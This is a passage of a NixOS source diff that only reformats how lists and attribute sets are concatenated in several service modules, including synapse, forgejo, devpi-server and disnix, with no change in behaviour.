-            ${cfg.package}/bin/mautrix-telegram \
-              --generate-registration \
-              --config='${settingsFile}' \
-              --registration='${registrationFile}'
-          fi
+        # generate the appservice's registration file if absent
+        if [ ! -f '${registrationFile}' ]; then
+          ${cfg.package}/bin/mautrix-telegram \
+            --generate-registration \
+            --config='${settingsFile}' \
+            --registration='${registrationFile}'
+        fi
 
-          old_umask=$(umask)
-          umask 0177
-          # 1. Overwrite registration tokens in config
-          #    is set, set it as the login shared secret value for the configured
-          #    homeserver domain.
-          ${pkgs.yq}/bin/yq -s '.[0].appservice.as_token = .[1].as_token
-            | .[0].appservice.hs_token = .[1].hs_token
-            | .[0]' \
-            '${settingsFile}' '${registrationFile}' > '${settingsFile}.tmp'
-          mv '${settingsFile}.tmp' '${settingsFile}'
+        old_umask=$(umask)
+        umask 0177
+        # 1. Overwrite registration tokens in config
+        #    is set, set it as the login shared secret value for the configured
+        #    homeserver domain.
+        ${pkgs.yq}/bin/yq -s '.[0].appservice.as_token = .[1].as_token
+          | .[0].appservice.hs_token = .[1].hs_token
+          | .[0]' \
+          '${settingsFile}' '${registrationFile}' > '${settingsFile}.tmp'
+        mv '${settingsFile}.tmp' '${settingsFile}'
 
-          umask $old_umask
-        ''
-        + lib.optionalString (cfg.package ? alembic) ''
-          # run automatic database init and migration scripts
-          ${cfg.package.alembic}/bin/alembic -x config='${settingsFile}' upgrade head
-        '';
+        umask $old_umask
+      ''
+      + lib.optionalString (cfg.package ? alembic) ''
+        # run automatic database init and migration scripts
+        ${cfg.package.alembic}/bin/alembic -x config='${settingsFile}' upgrade head
+      '';
 
       serviceConfig = {
         User = "mautrix-telegram";
diff --git a/nixos/modules/services/matrix/mjolnir.nix b/nixos/modules/services/matrix/mjolnir.nix
index 46007d4e1118..e20029e2d961 100644
--- a/nixos/modules/services/matrix/mjolnir.nix
+++ b/nixos/modules/services/matrix/mjolnir.nix
@@ -214,10 +214,12 @@ in
       description = "mjolnir - a moderation tool for Matrix";
       wants = [
         "network-online.target"
-      ] ++ lib.optionals (cfg.pantalaimon.enable) [ "pantalaimon-mjolnir.service" ];
+      ]
+      ++ lib.optionals (cfg.pantalaimon.enable) [ "pantalaimon-mjolnir.service" ];
       after = [
         "network-online.target"
-      ] ++ lib.optionals (cfg.pantalaimon.enable) [ "pantalaimon-mjolnir.service" ];
+      ]
+      ++ lib.optionals (cfg.pantalaimon.enable) [ "pantalaimon-mjolnir.service" ];
       wantedBy = [ "multi-user.target" ];
 
       serviceConfig = {
diff --git a/nixos/modules/services/matrix/synapse.nix b/nixos/modules/services/matrix/synapse.nix
index 6744bf74a45a..007ffd3da394 100644
--- a/nixos/modules/services/matrix/synapse.nix
+++ b/nixos/modules/services/matrix/synapse.nix
@@ -924,36 +924,35 @@ in
 
                 listeners = mkOption {
                   type = types.listOf (listenerType false);
-                  default =
-                    [
-                      {
-                        port = 8008;
-                        bind_addresses = [ "127.0.0.1" ];
-                        type = "http";
-                        tls = false;
-                        x_forwarded = true;
-                        resources = [
-                          {
-                            names = [ "client" ];
-                            compress = true;
-                          }
-                          {
-                            names = [ "federation" ];
-                            compress = false;
-                          }
-                        ];
-                      }
-                    ]
-                    ++ lib.optional hasWorkers {
-                      path = "/run/matrix-synapse/main_replication.sock";
+                  default = [
+                    {
+                      port = 8008;
+                      bind_addresses = [ "127.0.0.1" ];
                       type = "http";
+                      tls = false;
+                      x_forwarded = true;
                       resources = [
                         {
-                          names = [ "replication" ];
+                          names = [ "client" ];
+                          compress = true;
+                        }
+                        {
+                          names = [ "federation" ];
                           compress = false;
                         }
                       ];
-                    };
+                    }
+                  ]
+                  ++ lib.optional hasWorkers {
+                    path = "/run/matrix-synapse/main_replication.sock";
+                    type = "http";
+                    resources = [
+                      {
+                        names = [ "replication" ];
+                        compress = false;
+                      }
+                    ];
+                  };
                   description = ''
                     List of ports that Synapse should listen on, their purpose and their configuration.
 
@@ -1321,84 +1320,83 @@ in
     };
 
   config = mkIf cfg.enable {
-    assertions =
-      [
-        {
-          assertion = clientListener != null;
-          message = ''
-            At least one listener which serves the `client` resource via HTTP is required
-            by synapse in `services.matrix-synapse.settings.listeners` or in one of the workers!
-          '';
-        }
-        {
-          assertion = hasWorkers -> cfg.settings.redis.enabled;
-          message = ''
-            Workers for matrix-synapse require configuring a redis instance. This can be done
-            automatically by setting `services.matrix-synapse.configureRedisLocally = true`.
-          '';
-        }
-        {
-          assertion =
-            let
-              main = cfg.settings.instance_map.main;
-              listener = lib.findFirst (
-                listener:
-                (
-                  lib.hasAttr "port" main && listener.port or null == main.port
-                  || lib.hasAttr "path" main && listener.path or null == main.path
-                )
-                && listenerSupportsResource "replication" listener
-                && (
-                  lib.hasAttr "host" main
-                  && lib.any (bind: bind == main.host || bind == "0.0.0.0" || bind == "::") listener.bind_addresses
-                  || lib.hasAttr "path" main
-                )
-              ) null cfg.settings.listeners;
-            in
-            hasWorkers -> (cfg.settings.instance_map ? main && listener != null);
-          message = ''
-            Workers for matrix-synapse require setting `services.matrix-synapse.settings.instance_map.main`
-            to any listener configured in `services.matrix-synapse.settings.listeners` with a `"replication"`
-            resource.
-
-            This is done by default unless you manually configure either of those settings.
-          '';
-        }
-        {
-          assertion = cfg.enableRegistrationScript -> clientListener.path == null;
-          message = ''
-            The client listener on matrix-synapse is configured to use UNIX domain sockets.
-            This configuration is incompatible with the `register_new_matrix_user` script.
-
-            Disable  `services.matrix-synapse.enableRegistrationScript` to continue.
-          '';
-        }
-      ]
-      ++ (map (listener: {
-        assertion = (listener.path == null) != (listener.bind_addresses == null);
+    assertions = [
+      {
+        assertion = clientListener != null;
         message = ''
-          Listeners require either a UNIX domain socket `path` or `bind_addresses` for a TCP socket.
+          At least one listener which serves the `client` resource via HTTP is required
+          by synapse in `services.matrix-synapse.settings.listeners` or in one of the workers!
         '';
-      }) cfg.settings.listeners)
-      ++ (map (listener: {
+      }
+      {
+        assertion = hasWorkers -> cfg.settings.redis.enabled;
+        message = ''
+          Workers for matrix-synapse require configuring a redis instance. This can be done
+          automatically by setting `services.matrix-synapse.configureRedisLocally = true`.
+        '';
+      }
+      {
         assertion =
-          listener.path != null
-          -> (listener.bind_addresses == null && listener.port == null && listener.tls == null);
-        message =
           let
-            formatKeyValue = key: value: lib.optionalString (value != null) "  - ${key}=${toString value}\n";
+            main = cfg.settings.instance_map.main;
+            listener = lib.findFirst (
+              listener:
+              (
+                lib.hasAttr "port" main && listener.port or null == main.port
+                || lib.hasAttr "path" main && listener.path or null == main.path
+              )
+              && listenerSupportsResource "replication" listener
+              && (
+                lib.hasAttr "host" main
+                && lib.any (bind: bind == main.host || bind == "0.0.0.0" || bind == "::") listener.bind_addresses
+                || lib.hasAttr "path" main
+              )
+            ) null cfg.settings.listeners;
           in
-          ''
-            Listener configured with UNIX domain socket (${toString listener.path}) ignores the following options:
-            ${formatKeyValue "bind_addresses" listener.bind_addresses}${formatKeyValue "port" listener.port}${formatKeyValue "tls" listener.tls}
-          '';
-      }) cfg.settings.listeners)
-      ++ (map (listener: {
-        assertion = listener.path == null || listener.type == "http";
+          hasWorkers -> (cfg.settings.instance_map ? main && listener != null);
         message = ''
-          Listener configured with UNIX domain socket (${toString listener.path}) only supports the "http" listener type.
+          Workers for matrix-synapse require setting `services.matrix-synapse.settings.instance_map.main`
+          to any listener configured in `services.matrix-synapse.settings.listeners` with a `"replication"`
+          resource.
+
+          This is done by default unless you manually configure either of those settings.
         '';
-      }) cfg.settings.listeners);
+      }
+      {
+        assertion = cfg.enableRegistrationScript -> clientListener.path == null;
+        message = ''
+          The client listener on matrix-synapse is configured to use UNIX domain sockets.
+          This configuration is incompatible with the `register_new_matrix_user` script.
+
+          Disable  `services.matrix-synapse.enableRegistrationScript` to continue.
+        '';
+      }
+    ]
+    ++ (map (listener: {
+      assertion = (listener.path == null) != (listener.bind_addresses == null);
+      message = ''
+        Listeners require either a UNIX domain socket `path` or `bind_addresses` for a TCP socket.
+      '';
+    }) cfg.settings.listeners)
+    ++ (map (listener: {
+      assertion =
+        listener.path != null
+        -> (listener.bind_addresses == null && listener.port == null && listener.tls == null);
+      message =
+        let
+          formatKeyValue = key: value: lib.optionalString (value != null) "  - ${key}=${toString value}\n";
+        in
+        ''
+          Listener configured with UNIX domain socket (${toString listener.path}) ignores the following options:
+          ${formatKeyValue "bind_addresses" listener.bind_addresses}${formatKeyValue "port" listener.port}${formatKeyValue "tls" listener.tls}
+        '';
+    }) cfg.settings.listeners)
+    ++ (map (listener: {
+      assertion = listener.path == null || listener.type == "http";
+      message = ''
+        Listener configured with UNIX domain socket (${toString listener.path}) only supports the "http" listener type.
+      '';
+    }) cfg.settings.listeners);
 
     services.matrix-synapse.settings.redis = lib.mkIf cfg.configureRedisLocally {
       enabled = true;
@@ -1490,14 +1488,13 @@ in
             ProtectKernelTunables = true;
             ProtectProc = "invisible";
             ProtectSystem = "strict";
-            ReadWritePaths =
-              [
-                cfg.dataDir
-                cfg.settings.media_store_path
-              ]
-              ++ (map (listener: dirOf listener.path) (
-                filter (listener: listener.path != null) cfg.settings.listeners
-              ));
+            ReadWritePaths = [
+              cfg.dataDir
+              cfg.settings.media_store_path
+            ]
+            ++ (map (listener: dirOf listener.path) (
+              filter (listener: listener.path != null) cfg.settings.listeners
+            ));
             RemoveIPC = true;
             RestrictAddressFamilies = [
               "AF_INET"
@@ -1514,7 +1511,8 @@ in
               "~@privileged"
             ];
           };
-        } // targetConfig;
+        }
+        // targetConfig;
         genWorkerService =
           name: workerCfg:
           let
diff --git a/nixos/modules/services/misc/atuin.nix b/nixos/modules/services/misc/atuin.nix
index 59bdae638870..f0cf8834642c 100644
--- a/nixos/modules/services/misc/atuin.nix
+++ b/nixos/modules/services/misc/atuin.nix
@@ -139,18 +139,17 @@ in
         UMask = "0077";
       };
 
-      environment =
-        {
-          ATUIN_HOST = cfg.host;
-          ATUIN_PORT = toString cfg.port;
-          ATUIN_MAX_HISTORY_LENGTH = toString cfg.maxHistoryLength;
-          ATUIN_OPEN_REGISTRATION = lib.boolToString cfg.openRegistration;
-          ATUIN_PATH = cfg.path;
-          ATUIN_CONFIG_DIR = "/run/atuin"; # required to start, but not used as configuration is via environment variables
-        }
-        // lib.optionalAttrs (cfg.database.uri != null) {
-          ATUIN_DB_URI = cfg.database.uri;
-        };
+      environment = {
+        ATUIN_HOST = cfg.host;
+        ATUIN_PORT = toString cfg.port;
+        ATUIN_MAX_HISTORY_LENGTH = toString cfg.maxHistoryLength;
+        ATUIN_OPEN_REGISTRATION = lib.boolToString cfg.openRegistration;
+        ATUIN_PATH = cfg.path;
+        ATUIN_CONFIG_DIR = "/run/atuin"; # required to start, but not used as configuration is via environment variables
+      }
+      // lib.optionalAttrs (cfg.database.uri != null) {
+        ATUIN_DB_URI = cfg.database.uri;
+      };
     };
 
     networking.firewall.allowedTCPPorts = mkIf cfg.openFirewall [ cfg.port ];
diff --git a/nixos/modules/services/misc/bcg.nix b/nixos/modules/services/misc/bcg.nix
index 002ff03ab068..6adb60005a8d 100644
--- a/nixos/modules/services/misc/bcg.nix
+++ b/nixos/modules/services/misc/bcg.nix
@@ -159,7 +159,8 @@ in
         wantedBy = [ "multi-user.target" ];
         wants = [
           "network-online.target"
-        ] ++ lib.optional config.services.mosquitto.enable "mosquitto.service";
+        ]
+        ++ lib.optional config.services.mosquitto.enable "mosquitto.service";
         after = [ "network-online.target" ];
         preStart = lib.mkIf envConfig ''
           umask 077
diff --git a/nixos/modules/services/misc/blenderfarm.nix b/nixos/modules/services/misc/blenderfarm.nix
index dbe6bcad1365..b66cfa2b5be4 100644
--- a/nixos/modules/services/misc/blenderfarm.nix
+++ b/nixos/modules/services/misc/blenderfarm.nix
@@ -85,21 +85,20 @@ in
       wants = [ "network-online.target" ];
       description = "blendfarm server";
       path = [ cfg.blenderPackage ];
-      preStart =
-        ''
-          rm -f ServerSettings
-          install -m640 ${configFile} ServerSettings
-          if [ ! -d "BlenderData/nix-blender-linux64" ]; then
-            mkdir -p BlenderData/nix-blender-linux64
-            echo "nix-blender" > VersionCustom
-          fi
-          rm -f BlenderData/nix-blender-linux64/blender
-          ln -s ${lib.getExe cfg.blenderPackage} BlenderData/nix-blender-linux64/blender
-        ''
-        + lib.optionalString (cfg.basicSecurityPasswordFile != null) ''
-          BLENDFARM_PASSWORD=$(${pkgs.systemd}/bin/systemd-creds cat BLENDFARM_PASS_FILE)
-          sed -i "s/null/\"$BLENDFARM_PASSWORD\"/g" ServerSettings
-        '';
+      preStart = ''
+        rm -f ServerSettings
+        install -m640 ${configFile} ServerSettings
+        if [ ! -d "BlenderData/nix-blender-linux64" ]; then
+          mkdir -p BlenderData/nix-blender-linux64
+          echo "nix-blender" > VersionCustom
+        fi
+        rm -f BlenderData/nix-blender-linux64/blender
+        ln -s ${lib.getExe cfg.blenderPackage} BlenderData/nix-blender-linux64/blender
+      ''
+      + lib.optionalString (cfg.basicSecurityPasswordFile != null) ''
+        BLENDFARM_PASSWORD=$(${pkgs.systemd}/bin/systemd-creds cat BLENDFARM_PASS_FILE)
+        sed -i "s/null/\"$BLENDFARM_PASSWORD\"/g" ServerSettings
+      '';
       serviceConfig = {
         ExecStart = "${cfg.package}/bin/LogicReinc.BlendFarm.Server";
         DynamicUser = true;
diff --git a/nixos/modules/services/misc/devpi-server.nix b/nixos/modules/services/misc/devpi-server.nix
index 16c5fd34ff17..2c3f31c47e0c 100644
--- a/nixos/modules/services/misc/devpi-server.nix
+++ b/nixos/modules/services/misc/devpi-server.nix
@@ -71,18 +71,17 @@ in
       after = [ "network-online.target" ];
       # Since at least devpi-server 6.10.0, devpi requires the secrets file to
       # have 0600 permissions.
-      preStart =
-        ''
-          ${lib.optionalString (
-            !isNull cfg.secretFile
-          ) "install -Dm 0600 \${CREDENTIALS_DIRECTORY}/devpi-secret ${runtimeDir}/${secretsFileName}"}
+      preStart = ''
+        ${lib.optionalString (
+          !isNull cfg.secretFile
+        ) "install -Dm 0600 \${CREDENTIALS_DIRECTORY}/devpi-secret ${runtimeDir}/${secretsFileName}"}
 
-          if [ -f ${serverDir}/.nodeinfo ]; then
-            # already initialized the package index, exit gracefully
-            exit 0
-          fi
-          ${cfg.package}/bin/devpi-init --serverdir ${serverDir} ''
-        + lib.optionalString cfg.replica "--role=replica --master-url=${cfg.primaryUrl}";
+        if [ -f ${serverDir}/.nodeinfo ]; then
+          # already initialized the package index, exit gracefully
+          exit 0
+        fi
+        ${cfg.package}/bin/devpi-init --serverdir ${serverDir} ''
+      + lib.optionalString cfg.replica "--role=replica --master-url=${cfg.primaryUrl}";
 
       serviceConfig = {
         LoadCredential = lib.mkIf (!isNull cfg.secretFile) [
@@ -91,25 +90,24 @@ in
         Restart = "always";
         ExecStart =
           let
-            args =
-              [
-                "--request-timeout=5"
-                "--serverdir=${serverDir}"
-                "--host=${cfg.host}"
-                "--port=${builtins.toString cfg.port}"
-              ]
-              ++ lib.optionals (!isNull cfg.secretFile) [
-                "--secretfile=${runtimeDir}/${secretsFileName}"
-              ]
-              ++ (
-                if cfg.replica then
-                  [
-                    "--role=replica"
-                    "--master-url=${cfg.primaryUrl}"
-                  ]
-                else
-                  [ "--role=master" ]
-              );
+            args = [
+              "--request-timeout=5"
+              "--serverdir=${serverDir}"
+              "--host=${cfg.host}"
+              "--port=${builtins.toString cfg.port}"
+            ]
+            ++ lib.optionals (!isNull cfg.secretFile) [
+              "--secretfile=${runtimeDir}/${secretsFileName}"
+            ]
+            ++ (
+              if cfg.replica then
+                [
+                  "--role=replica"
+                  "--master-url=${cfg.primaryUrl}"
+                ]
+              else
+                [ "--role=master" ]
+            );
           in
           "${cfg.package}/bin/devpi-server ${lib.concatStringsSep " " args}";
         DynamicUser = true;
diff --git a/nixos/modules/services/misc/disnix.nix b/nixos/modules/services/misc/disnix.nix
index 8c808d5143e0..ce00598d9ffe 100644
--- a/nixos/modules/services/misc/disnix.nix
+++ b/nixos/modules/services/misc/disnix.nix
@@ -49,7 +49,8 @@ in
 
     environment.systemPackages = [
       pkgs.disnix
-    ] ++ lib.optional cfg.useWebServiceInterface pkgs.DisnixWebService;
+    ]
+    ++ lib.optional cfg.useWebServiceInterface pkgs.DisnixWebService;
     environment.variables.PATH = lib.optionals cfg.enableProfilePath (
       map (profileName: "/nix/var/nix/profiles/disnix/${profileName}/bin") cfg.profiles
     );
@@ -73,15 +74,16 @@ in
         description = "Disnix server";
         wants = [ "dysnomia.target" ];
         wantedBy = [ "multi-user.target" ];
-        after =
-          [ "dbus.service" ]
-          ++ lib.optional config.services.httpd.enable "httpd.service"
-          ++ lib.optional config.services.mysql.enable "mysql.service"
-          ++ lib.optional config.services.postgresql.enable "postgresql.service"
-          ++ lib.optional config.services.tomcat.enable "tomcat.service"
-          ++ lib.optional config.services.svnserve.enable "svnserve.service"
-          ++ lib.optional config.services.mongodb.enable "mongodb.service"
-          ++ lib.optional config.services.influxdb.enable "influxdb.service";
+        after = [
+          "dbus.service"
+        ]
+        ++ lib.optional config.services.httpd.enable "httpd.service"
+        ++ lib.optional config.services.mysql.enable "mysql.service"
+        ++ lib.optional config.services.postgresql.enable "postgresql.service"
+        ++ lib.optional config.services.tomcat.enable "tomcat.service"
+        ++ lib.optional config.services.svnserve.enable "svnserve.service"
+        ++ lib.optional config.services.mongodb.enable "mongodb.service"
+        ++ lib.optional config.services.influxdb.enable "influxdb.service";
 
         restartIfChanged = false;
 
@@ -92,16 +94,15 @@ in
           "/run/current-system/sw"
         ];
 
-        environment =
-          {
-            HOME = "/root";
-          }
-          // (lib.optionalAttrs (config.environment.variables ? DYSNOMIA_CONTAINERS_PATH) {
-            inherit (config.environment.variables) DYSNOMIA_CONTAINERS_PATH;
-          })
-          // (lib.optionalAttrs (config.environment.variables ? DYSNOMIA_MODULES_PATH) {
-            inherit (config.environment.variables) DYSNOMIA_MODULES_PATH;
-          });
+        environment = {
+          HOME = "/root";
+        }
+        // (lib.optionalAttrs (config.environment.variables ? DYSNOMIA_CONTAINERS_PATH) {
+          inherit (config.environment.variables) DYSNOMIA_CONTAINERS_PATH;
+        })
+        // (lib.optionalAttrs (config.environment.variables ? DYSNOMIA_MODULES_PATH) {
+          inherit (config.environment.variables) DYSNOMIA_MODULES_PATH;
+        });
 
         serviceConfig.ExecStart = "${cfg.package}/bin/disnix-service";
       };
diff --git a/nixos/modules/services/misc/docker-registry.nix b/nixos/modules/services/misc/docker-registry.nix
index 66a131332e78..2c2a59052d1b 100644
--- a/nixos/modules/services/misc/docker-registry.nix
+++ b/nixos/modules/services/misc/docker-registry.nix
@@ -15,7 +15,8 @@ let
     storage = {
       cache.blobdescriptor = blobCache;
       delete.enabled = cfg.enableDelete;
-    } // (lib.optionalAttrs (cfg.storagePath != null) { filesystem.rootdirectory = cfg.storagePath; });
+    }
+    // (lib.optionalAttrs (cfg.storagePath != null) { filesystem.rootdirectory = cfg.storagePath; });
     http = {
       addr = "${cfg.listenAddress}:${builtins.toString cfg.port}";
       headers.X-Content-Type-Options = [ "nosniff" ];
diff --git a/nixos/modules/services/misc/docling-serve.nix b/nixos/modules/services/misc/docling-serve.nix
index b9b7274047e0..0a1ac874e04a 100644
--- a/nixos/modules/services/misc/docling-serve.nix
+++ b/nixos/modules/services/misc/docling-serve.nix
@@ -88,7 +88,8 @@ in
         HF_HOME = ".";
         EASYOCR_MODULE_PATH = ".";
         MPLCONFIGDIR = ".";
-      } // cfg.environment;
+      }
+      // cfg.environment;
 
       serviceConfig = {
         ExecStart = "${lib.getExe cfg.package} run --host \"${cfg.host}\" --port ${toString cfg.port}";
diff --git a/nixos/modules/services/misc/duckdns.nix b/nixos/modules/services/misc/duckdns.nix
index a4ea0a09e313..3a9b6fa3bd42 100644
--- a/nixos/modules/services/misc/duckdns.nix
+++ b/nixos/modules/services/misc/duckdns.nix
@@ -105,7 +105,8 @@ in
         Type = "simple";
         LoadCredential = [
           "DUCKDNS_TOKEN_FILE:${cfg.tokenFile}"
-        ] ++ lib.optionals (cfg.domainsFile != null) [ "DUCKDNS_DOMAINS_FILE:${cfg.domainsFile}" ];
+        ]
+        ++ lib.optionals (cfg.domainsFile != null) [ "DUCKDNS_DOMAINS_FILE:${cfg.domainsFile}" ];
         DynamicUser = true;
       };
       script = ''
diff --git a/nixos/modules/services/misc/dysnomia.nix b/nixos/modules/services/misc/dysnomia.nix
index d9e774822593..acdc9c55555f 100644
--- a/nixos/modules/services/misc/dysnomia.nix
+++ b/nixos/modules/services/misc/dysnomia.nix
@@ -211,28 +211,27 @@ in
       hostname = config.networking.hostName;
       inherit (pkgs.stdenv.hostPlatform) system;
 
-      supportedTypes =
-        [
-          "echo"
-          "fileset"
-          "process"
-          "wrapper"
+      supportedTypes = [
+        "echo"
+        "fileset"
+        "process"
+        "wrapper"
 
-          # These are not base modules, but they are still enabled because they work with technology that are always enabled in NixOS
-          "systemd-unit"
-          "sysvinit-script"
-          "nixos-configuration"
-        ]
-        ++ lib.optional (dysnomiaFlags.enableApacheWebApplication) "apache-webapplication"
-        ++ lib.optional (dysnomiaFlags.enableAxis2WebService) "axis2-webservice"
-        ++ lib.optional (dysnomiaFlags.enableDockerContainer) "docker-container"
-        ++ lib.optional (dysnomiaFlags.enableEjabberdDump) "ejabberd-dump"
-        ++ lib.optional (dysnomiaFlags.enableInfluxDatabase) "influx-database"
-        ++ lib.optional (dysnomiaFlags.enableMySQLDatabase) "mysql-database"
-        ++ lib.optional (dysnomiaFlags.enablePostgreSQLDatabase) "postgresql-database"
-        ++ lib.optional (dysnomiaFlags.enableTomcatWebApplication) "tomcat-webapplication"
-        ++ lib.optional (dysnomiaFlags.enableMongoDatabase) "mongo-database"
-        ++ lib.optional (dysnomiaFlags.enableSubversionRepository) "subversion-repository";
+        # These are not base modules, but they are still enabled because they work with technology that are always enabled in NixOS
+        "systemd-unit"
+        "sysvinit-script"
+        "nixos-configuration"
+      ]
+      ++ lib.optional (dysnomiaFlags.enableApacheWebApplication) "apache-webapplication"
+      ++ lib.optional (dysnomiaFlags.enableAxis2WebService) "axis2-webservice"
+      ++ lib.optional (dysnomiaFlags.enableDockerContainer) "docker-container"
+      ++ lib.optional (dysnomiaFlags.enableEjabberdDump) "ejabberd-dump"
+      ++ lib.optional (dysnomiaFlags.enableInfluxDatabase) "influx-database"
+      ++ lib.optional (dysnomiaFlags.enableMySQLDatabase) "mysql-database"
+      ++ lib.optional (dysnomiaFlags.enablePostgreSQLDatabase) "postgresql-database"
+      ++ lib.optional (dysnomiaFlags.enableTomcatWebApplication) "tomcat-webapplication"
+      ++ lib.optional (dysnomiaFlags.enableMongoDatabase) "mongo-database"
+      ++ lib.optional (dysnomiaFlags.enableSubversionRepository) "subversion-repository";
     };
 
     services.dysnomia.containers = lib.recursiveUpdate (
@@ -252,22 +251,20 @@ in
         };
       }
       // lib.optionalAttrs (config.services.mysql.enable) {
-        mysql-database =
-          {
-            mysqlPort = config.services.mysql.settings.mysqld.port;
-            mysqlSocket = "/run/mysqld/mysqld.sock";
-          }
-          // lib.optionalAttrs cfg.enableAuthentication {
-            mysqlUsername = "root";
-          };
+        mysql-database = {
+          mysqlPort = config.services.mysql.settings.mysqld.port;
+          mysqlSocket = "/run/mysqld/mysqld.sock";
+        }
+        // lib.optionalAttrs cfg.enableAuthentication {
+          mysqlUsername = "root";
+        };
       }
       // lib.optionalAttrs (config.services.postgresql.enable) {
-        postgresql-database =
-          {
-          }
-          // lib.optionalAttrs (cfg.enableAuthentication) {
-            postgresqlUsername = "postgres";
-          };
+        postgresql-database = {
+        }
+        // lib.optionalAttrs (cfg.enableAuthentication) {
+          postgresqlUsername = "postgres";
+        };
       }
       // lib.optionalAttrs (config.services.tomcat.enable) {
         tomcat-webapplication = {
diff --git a/nixos/modules/services/misc/etebase-server.nix b/nixos/modules/services/misc/etebase-server.nix
index cd1cf8845231..f303d763d1df 100644
--- a/nixos/modules/services/misc/etebase-server.nix
+++ b/nixos/modules/services/misc/etebase-server.nix
@@ -189,13 +189,12 @@ in
       )
     ];
 
-    systemd.tmpfiles.rules =
-      [
-        "d '${cfg.dataDir}' - ${cfg.user} ${config.users.users.${cfg.user}.group} - -"
-      ]
-      ++ lib.optionals (cfg.unixSocket != null) [
-        "d '${builtins.dirOf cfg.unixSocket}' - ${cfg.user} ${config.users.users.${cfg.user}.group} - -"
-      ];
+    systemd.tmpfiles.rules = [
+      "d '${cfg.dataDir}' - ${cfg.user} ${config.users.users.${cfg.user}.group} - -"
+    ]
+    ++ lib.optionals (cfg.unixSocket != null) [
+      "d '${builtins.dirOf cfg.unixSocket}' - ${cfg.user} ${config.users.users.${cfg.user}.group} - -"
+    ];
 
     systemd.services.etebase-server = {
       description = "An Etebase (EteSync 2.0) server";
diff --git a/nixos/modules/services/misc/forgejo.nix b/nixos/modules/services/misc/forgejo.nix
index 7da42084550d..7836c55d43f3 100644
--- a/nixos/modules/services/misc/forgejo.nix
+++ b/nixos/modules/services/misc/forgejo.nix
@@ -595,35 +595,34 @@ in
       ];
     };
 
-    systemd.tmpfiles.rules =
-      [
-        "d '${cfg.dump.backupDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.dump.backupDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.repositoryRoot}' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.repositoryRoot}' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.stateDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.stateDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.customDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.customDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.stateDir}/data' 0750 ${cfg.user} ${cfg.group} - -"
-        "d '${cfg.stateDir}/log' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.stateDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.stateDir}/.ssh' 0700 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.stateDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.customDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.customDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.stateDir}/data' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.stateDir}/log' 0750 ${cfg.user} ${cfg.group} - -"
+    systemd.tmpfiles.rules = [
+      "d '${cfg.dump.backupDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.dump.backupDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.repositoryRoot}' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.repositoryRoot}' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.stateDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.stateDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.customDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.customDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.stateDir}/data' 0750 ${cfg.user} ${cfg.group} - -"
+      "d '${cfg.stateDir}/log' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.stateDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.stateDir}/.ssh' 0700 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.stateDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.customDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.customDir}/conf' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.stateDir}/data' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.stateDir}/log' 0750 ${cfg.user} ${cfg.group} - -"
 
-        # If we have a folder or symlink with Forgejo locales, remove it
-        # And symlink the current Forgejo locales in place
-        "L+ '${cfg.stateDir}/conf/locale' - - - - ${cfg.package.out}/locale"
+      # If we have a folder or symlink with Forgejo locales, remove it
+      # And symlink the current Forgejo locales in place
+      "L+ '${cfg.stateDir}/conf/locale' - - - - ${cfg.package.out}/locale"
 
-      ]
-      ++ optionals cfg.lfs.enable [
-        "d '${cfg.lfs.contentDir}' 0750 ${cfg.user} ${cfg.group} - -"
-        "z '${cfg.lfs.contentDir}' 0750 ${cfg.user} ${cfg.group} - -"
-      ];
+    ]
+    ++ optionals cfg.lfs.enable [
+      "d '${cfg.lfs.contentDir}' 0750 ${cfg.user} ${cfg.group} - -"
+      "z '${cfg.lfs.contentDir}' 0750 ${cfg.user} ${cfg.group} - -"
+    ];
 
     systemd.services.forgejo-secrets = mkIf (!cfg.useWizard) {
       description = "Forgejo secret bootstrap helper";
@@ -658,19 +657,18 @@ in
 
     systemd.services.forgejo = {
       description = "Forgejo (Beyond coding. We forge.)";
-      after =
-        [
-          "network.target"
-        ]
-        ++ optionals usePostgresql [
-          "postgresql.service"
-        ]
-        ++ optionals useMysql [
-          "mysql.service"
-        ]
-        ++ optionals (!cfg.useWizard) [
-          "forgejo-secrets.service"
-        ];
+      after = [
+        "network.target"
+      ]
+      ++ optionals usePostgresql [
+        "postgresql.service"
+      ]
+      ++ optionals useMysql [
+        "mysql.service"
+      ]
+      ++ optionals (!cfg.useWizard) [
+        "forgejo-secrets.service"
+      ];
       requires =
         optionals (cfg.database.createDatabase && usePostgresql) [
           "postgresql.service"
@@ -786,7 +784,8 @@ in
         HOME = cfg.stateDir;
         FORGEJO_WORK_DIR = cfg.stateDir;
         FORGEJO_CUSTOM = cfg.customDir;
